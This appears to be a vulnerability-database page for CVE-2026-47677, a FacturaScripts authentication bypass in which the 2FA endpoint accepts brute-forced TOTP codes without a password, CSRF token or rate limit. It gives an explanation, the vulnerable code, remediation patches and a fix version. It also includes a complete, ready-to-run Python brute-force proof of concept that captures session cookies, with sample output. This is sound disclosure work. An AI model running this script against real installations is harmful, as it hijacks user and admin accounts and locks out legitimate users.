CVE-2026-47677

CRITICALCVSS · not yet scored

Also known asGHSA-c67f-gmxw-mj93 (GitHub Security Advisories)

—
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No CVSS published and no exploitation signals yet
CISA-KEV: Not listedEPSS PROB: —CVSS v2: —Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

FacturaScripts: Account takeover of any 2FA-enabled user

Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:

  • Does not verify the password — the user is not required to have just
completed loginAction.
  • Does not call validateFormToken() — no CSRF token is required (every
other action handler in the same file does call it).
  • Does not call userHasManyIncidents() before processing — loginAction
and changePasswordAction both check this guard *before* doing work; the 2FA handler only writes to the incident list *after* a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has **no rate-limiting at all**.

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is

> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

| Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. | | Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. | | Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. | | Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. | | User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. | | Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). | | Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. | | Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick. | | Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |

Threat metrics:

  • Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

  • File: Core/Controller/Login.php
  • Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
  • Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

$this->updateUserAndRedirect($user, Session::getClientIp(), $request); }

Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) *before* doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires **no prior knowledge** beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE = os.environ.get("BASE", "http://localhost:9999") NICK = os.environ.get("NICK", "admin") THREADS = int(os.environ.get("THREADS", "32")) MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event() attempt_count = [0] lock = threading.Lock() start = time.time() result = {}

def worker(tid: int) -> None: s = requests.Session() while not hit.is_set(): with lock: n = attempt_count[0] if n >= MAX_TRIES: return attempt_count[0] += 1 code = f"{random.randint(0, 999999):06d}" try: r = s.post(f"{BASE}/login", data={"action": "two-factor-validation", "fsNick": NICK, "fsTwoFactorCode": code}, allow_redirects=False, timeout=5) except requests.RequestException: continue sc = r.headers.get("Set-Cookie", "") if r.status_code == 302 and "fsLogkey" in sc: with lock: if hit.is_set(): return hit.set() result["code"] = code result["n"] = n result["cookies"] = {c.name: c.value for c in r.cookies} return

def main() -> int: print(f"[*] target={BASE} nick={NICK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) for i in range(THREADS)] for t in threads: t.start() while not hit.is_set() and attempt_count[0] < MAX_TRIES: time.sleep(2) elapsed = time.time() - start print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} " f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True) for t in threads: t.join() elapsed = time.time() - start if hit.is_set(): print(f"\n[+] FOUND code={result['code']} after {result['n']:,} " f"attempts in {elapsed:.1f}s") cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items()) print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") return 0 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit") return 1

if __name__ == "__main__": sys.exit(main())

Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):

[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s [+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

  • Confidentiality: full read access to anything the victim can see —
invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
  • Integrity: full write access — create/modify/delete records, change
permissions, issue new API keys, upload plugins, install code (admin).
  • Availability: targeted account lockout DoS — generating six failed
2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.

  • Require evidence the user just completed the password step. In
loginAction, after verifyPassword succeeds and 2FA is required, write a short-lived nonce keyed by (client_ip, user_nick) to the shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and delete that nonce before calling verifyTwoFactorCode. Without the nonce, return immediately.
  • **Call validateFormToken($request) at the top of
twoFactorValidationAction.** Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions.
  • **Call userHasManyIncidents(Session::getClientIp(), $userName)
before doing any work in twoFactorValidationAction**, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check.
  • Reduce TwoFactorManager::VERIFICATION_WINDOW from 8 to 1.
The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step.

Suggested patch (illustrative):

// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
    if (false === $this->validateFormToken($request)) {                       // fix 2
        return;
    }
    $userName = $request->input('fsNick');
    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
        Tools::log()->warning('ip-banned');
        return;
    }
    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
    if (false === Cache::get($nonceKey)) {                                    // fix 1
        Tools::log()->warning('two-factor-no-pending-login');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    Cache::delete($nonceKey);

$user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); }

// Core/Lib/TwoFactorManager.php private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently sets $this->two_factor_user:

if ($user->two_factor_enabled) {
    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
               bin2hex(random_bytes(16)), 300);
    $this->two_factor_user = $user->nick;
    $this->template = 'Login/TwoFactor.html.twig';
    return;
}

Reproduction

Tested on a clean install built from master at commit 7392b489b:

# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py

CVSS v3
—
EchelonGraph score
Not yet assessedNo source has published severity data for this CVE yet — no CVSS score from NVD or a CNA, no GitHub advisory, and it is not in CISA KEV. This is not a rating of zero; we cannot assess it yet.
EG Score
—
EG Risk
—
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

EG Severity
Not assessed: no CVSS publishedA missing CVSS is not a severity of zero.
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
No SSVC decision: EchelonGraph has not assessed this CVECISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the BOD 26-04 block below.

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 13, 2026

Last Modified

July 13, 2026

Vendor Advisories for CVE-2026-47677(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerfacturascripts/facturascripts @ 2026.3 (fixes <= 2026.2)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFix by version rangeDependents
facturascripts/facturascripts2018.03 ... v2026.2 (60 versions)
  • every version up to 2026.3: fixed in 2026.3
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 1× in last 7d / 7× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:47 UTCGHSA enrichmentGHSA-c67f-gmxw-mj93 · GitHub severity CRITICAL
  2. 2026-10-25 14:24 UTCEG score recompute
  3. 2026-10-18 03:35 UTCEG score recompute
  4. 2026-10-12 16:01 UTCEG score recompute
  5. 2026-10-11 19:44 UTCEG score recompute
  6. 2026-10-11 16:59 UTCEG score recompute
  7. 2026-10-11 14:23 UTCEG score recompute
  8. 2026-10-01 13:51 UTCEG score recompute
  9. 2026-08-01 12:10 UTCEG score recompute
  10. 2026-07-26 11:50 UTCEG score recompute
  11. 2026-07-23 03:17 UTCEG score recompute
  12. 2026-07-14 00:09 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-47677?
CVE-2026-47677 is a critical-severity vulnerability; its CVE record was published on July 13, 2026. FacturaScripts: Account takeover of any 2FA-enabled user Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection Summary Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST…
When was the CVE record for CVE-2026-47677 published?
The CVE record for CVE-2026-47677 was published on July 13, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 13, 2026; the record at its source may have been updated since.
How do I remediate CVE-2026-47677?
A fix for CVE-2026-47677 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-47677 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47677

Explore →

Is Your Infrastructure Affected by CVE-2026-47677?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.